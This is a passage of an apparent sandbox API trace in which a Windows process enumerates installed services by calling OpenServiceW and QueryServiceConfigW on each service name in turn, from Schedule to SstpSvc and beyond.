out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e2bd08, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schedule", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0032.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schedule", cchWideChar=8, lpMultiByteStr=0x1e2bd08, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="schedule", lpUsedDefaultChar=0x0) returned 8 [0032.645] OpenServiceW (hSCManager=0x2d3600, lpServiceName="Schedule", dwDesiredAccess=0x1) returned 0x2d36c8 [0032.645] CloseServiceHandle (hSCObject=0x2d37e0) returned 1 [0032.645] QueryServiceConfigW (in: hService=0x2d36c8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.645] GetLastError () returned 0x7a [0032.645] QueryServiceConfigW (in: hService=0x2d36c8, lpServiceConfig=0x1d92850, cbBufSize=0x12e, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.646] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.646] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e2bd50, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.646] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="scpolicysvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.646] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="scpolicysvc", cchWideChar=11, lpMultiByteStr=0x1e2bd50, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="scpolicysvc", lpUsedDefaultChar=0x0) returned 11 [0032.646] OpenServiceW (hSCManager=0x2d3600, lpServiceName="SCPolicySvc", dwDesiredAccess=0x1) returned 0x2d3790 [0032.646] CloseServiceHandle (hSCObject=0x2d36c8) returned 1 [0032.646] QueryServiceConfigW (in: hService=0x2d3790, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.646] GetLastError () returned 0x7a [0032.646] QueryServiceConfigW (in: hService=0x2d3790, lpServiceConfig=0x1d92850, cbBufSize=0x116, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.646] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.646] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e2bd98, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.646] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sdrsvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0032.646] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sdrsvc", cchWideChar=6, lpMultiByteStr=0x1e2bd98, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sdrsvc", lpUsedDefaultChar=0x0) returned 6 [0032.646] OpenServiceW (hSCManager=0x2d3600, lpServiceName="SDRSVC", dwDesiredAccess=0x1) returned 0x2d36f0 [0032.647] CloseServiceHandle (hSCObject=0x2d3790) returned 1 [0032.647] QueryServiceConfigW (in: hService=0x2d36f0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.647] GetLastError () returned 0x7a [0032.647] QueryServiceConfigW (in: hService=0x2d36f0, lpServiceConfig=0x1d92850, cbBufSize=0xfe, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e2bde0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="seclogon", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0032.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="seclogon", cchWideChar=8, lpMultiByteStr=0x1e2bde0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="seclogon", lpUsedDefaultChar=0x0) returned 8 [0032.648] OpenServiceW (hSCManager=0x2d3600, lpServiceName="seclogon", dwDesiredAccess=0x1) returned 0x2d37e0 [0032.648] CloseServiceHandle (hSCObject=0x2d36f0) returned 1 [0032.648] QueryServiceConfigW (in: hService=0x2d37e0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.648] GetLastError () returned 0x7a [0032.648] QueryServiceConfigW (in: hService=0x2d37e0, lpServiceConfig=0x1d92850, cbBufSize=0xf8, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e2be28, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sens", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0032.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sens", cchWideChar=4, lpMultiByteStr=0x1e2be28, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sens", lpUsedDefaultChar=0x0) returned 4 [0032.648] OpenServiceW (hSCManager=0x2d3600, lpServiceName="SENS", dwDesiredAccess=0x1) returned 0x2d36c8 [0032.649] CloseServiceHandle (hSCObject=0x2d37e0) returned 1 [0032.649] QueryServiceConfigW (in: hService=0x2d36c8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.649] GetLastError () returned 0x7a [0032.649] QueryServiceConfigW (in: hService=0x2d36c8, lpServiceConfig=0x1d92850, cbBufSize=0x14c, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e2be70, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sensrsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0032.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sensrsvc", cchWideChar=8, lpMultiByteStr=0x1e2be70, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sensrsvc", lpUsedDefaultChar=0x0) returned 8 [0032.649] OpenServiceW (hSCManager=0x2d3600, lpServiceName="SensrSvc", dwDesiredAccess=0x1) returned 0x2d3790 [0032.649] CloseServiceHandle (hSCObject=0x2d36c8) returned 1 [0032.650] QueryServiceConfigW (in: hService=0x2d3790, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.650] GetLastError () returned 0x7a [0032.650] QueryServiceConfigW (in: hService=0x2d3790, lpServiceConfig=0x1d92850, cbBufSize=0x14a, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e2beb8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sessionenv", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0032.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sessionenv", cchWideChar=10, lpMultiByteStr=0x1e2beb8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sessionenv", lpUsedDefaultChar=0x0) returned 10 [0032.650] OpenServiceW (hSCManager=0x2d3600, lpServiceName="SessionEnv", dwDesiredAccess=0x1) returned 0x2d36f0 [0032.650] CloseServiceHandle (hSCObject=0x2d3790) returned 1 [0032.650] QueryServiceConfigW (in: hService=0x2d36f0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.651] GetLastError () returned 0x7a [0032.651] QueryServiceConfigW (in: hService=0x2d36f0, lpServiceConfig=0x1d92850, cbBufSize=0x140, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e2bf00, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sharedaccess", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0032.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sharedaccess", cchWideChar=12, lpMultiByteStr=0x1e2bf00, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sharedaccess", lpUsedDefaultChar=0x0) returned 12 [0032.651] OpenServiceW (hSCManager=0x2d3600, lpServiceName="SharedAccess", dwDesiredAccess=0x1) returned 0x2d37e0 [0032.651] CloseServiceHandle (hSCObject=0x2d36f0) returned 1 [0032.651] QueryServiceConfigW (in: hService=0x2d37e0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.651] GetLastError () returned 0x7a [0032.651] QueryServiceConfigW (in: hService=0x2d37e0, lpServiceConfig=0x1d92850, cbBufSize=0x14e, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e2bf48, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shellhwdetection", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0032.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shellhwdetection", cchWideChar=16, lpMultiByteStr=0x1e2bf48, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shellhwdetection", lpUsedDefaultChar=0x0) returned 16 [0032.652] OpenServiceW (hSCManager=0x2d3600, lpServiceName="ShellHWDetection", dwDesiredAccess=0x1) returned 0x2d36c8 [0032.652] CloseServiceHandle (hSCObject=0x2d37e0) returned 1 [0032.652] QueryServiceConfigW (in: hService=0x2d36c8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.652] GetLastError () returned 0x7a [0032.652] QueryServiceConfigW (in: hService=0x2d36c8, lpServiceConfig=0x1d92850, cbBufSize=0x12e, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e2bf90, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="snmptrap", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0032.653] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="snmptrap", cchWideChar=8, lpMultiByteStr=0x1e2bf90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="snmptrap", lpUsedDefaultChar=0x0) returned 8 [0032.653] OpenServiceW (hSCManager=0x2d3600, lpServiceName="SNMPTRAP", dwDesiredAccess=0x1) returned 0x2d3790 [0032.653] CloseServiceHandle (hSCObject=0x2d36c8) returned 1 [0032.653] QueryServiceConfigW (in: hService=0x2d3790, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.653] GetLastError () returned 0x7a [0032.653] QueryServiceConfigW (in: hService=0x2d3790, lpServiceConfig=0x1d92850, cbBufSize=0xf4, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.653] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="snmptrap.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0032.653] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="snmptrap.exe", cchWideChar=12, lpMultiByteStr=0x1e2bfd8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="snmptrap.exe", lpUsedDefaultChar=0x0) returned 12 [0032.653] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="spooler", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0032.653] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="spooler", cchWideChar=7, lpMultiByteStr=0x1e2bfd8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="spooler", lpUsedDefaultChar=0x0) returned 7 [0032.653] OpenServiceW (hSCManager=0x2d3600, lpServiceName="Spooler", dwDesiredAccess=0x1) returned 0x2d36f0 [0032.654] CloseServiceHandle (hSCObject=0x2d3790) returned 1 [0032.654] QueryServiceConfigW (in: hService=0x2d36f0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.654] GetLastError () returned 0x7a [0032.654] QueryServiceConfigW (in: hService=0x2d36f0, lpServiceConfig=0x1d92850, cbBufSize=0x10a, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.654] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="spoolsv.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.654] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="spoolsv.exe", cchWideChar=11, lpMultiByteStr=0x1e2c020, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="spoolsv.exe", lpUsedDefaultChar=0x0) returned 11 [0032.654] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sppsvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0032.654] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sppsvc", cchWideChar=6, lpMultiByteStr=0x1e2c020, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sppsvc", lpUsedDefaultChar=0x0) returned 6 [0032.654] OpenServiceW (hSCManager=0x2d3600, lpServiceName="sppsvc", dwDesiredAccess=0x1) returned 0x2d37e0 [0032.654] CloseServiceHandle (hSCObject=0x2d36f0) returned 1 [0032.655] QueryServiceConfigW (in: hService=0x2d37e0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.655] GetLastError () returned 0x7a [0032.655] QueryServiceConfigW (in: hService=0x2d37e0, lpServiceConfig=0x1d92850, cbBufSize=0x112, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sppsvc.exe", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0032.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sppsvc.exe", cchWideChar=10, lpMultiByteStr=0x1e2c068, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sppsvc.exe", lpUsedDefaultChar=0x0) returned 10 [0032.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sppuinotify", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sppuinotify", cchWideChar=11, lpMultiByteStr=0x1e2c068, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sppuinotify", lpUsedDefaultChar=0x0) returned 11 [0032.655] OpenServiceW (hSCManager=0x2d3600, lpServiceName="sppuinotify", dwDesiredAccess=0x1) returned 0x2d36c8 [0032.655] CloseServiceHandle (hSCObject=0x2d37e0) returned 1 [0032.655] QueryServiceConfigW (in: hService=0x2d36c8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.656] GetLastError () returned 0x7a [0032.656] QueryServiceConfigW (in: hService=0x2d36c8, lpServiceConfig=0x1d92850, cbBufSize=0x146, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e2c0b0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ssdpsrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0032.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ssdpsrv", cchWideChar=7, lpMultiByteStr=0x1e2c0b0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ssdpsrv", lpUsedDefaultChar=0x0) returned 7 [0032.656] OpenServiceW (hSCManager=0x2d3600, lpServiceName="SSDPSRV", dwDesiredAccess=0x1) returned 0x2d3790 [0032.656] CloseServiceHandle (hSCObject=0x2d36c8) returned 1 [0032.656] QueryServiceConfigW (in: hService=0x2d3790, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.657] GetLastError () returned 0x7a [0032.657] QueryServiceConfigW (in: hService=0x2d3790, lpServiceConfig=0x1d92850, cbBufSize=0x148, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.657] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.657] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e2c0f8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.657] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sstpsvc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0032.657] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sstpsvc", cchWideChar=7, lpMultiByteStr=0x1e2c0f8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sstpsvc", lpUsedDefaultChar=0x0) returned 7 [0032.657] OpenServiceW (hSCManager=0x2d3600, lpServiceName="SstpSvc", dwDesiredAccess=0x1) returned 0x2d36f0 [0032.657] CloseServiceHandle (hSCObject=0x2d3790) returned 1 [0032.657] QueryServiceConfigW (in: hService=0x2d36f0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.657] GetLastError () returned 0x7a [0032.657] QueryServiceConfigW (in: hService=0x2d36f0, lpServiceConfig=0x1d92850, cbBufSize=0x150, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.658] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.658] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e2c140, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.658] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="stisvc", cchWideChar=6, 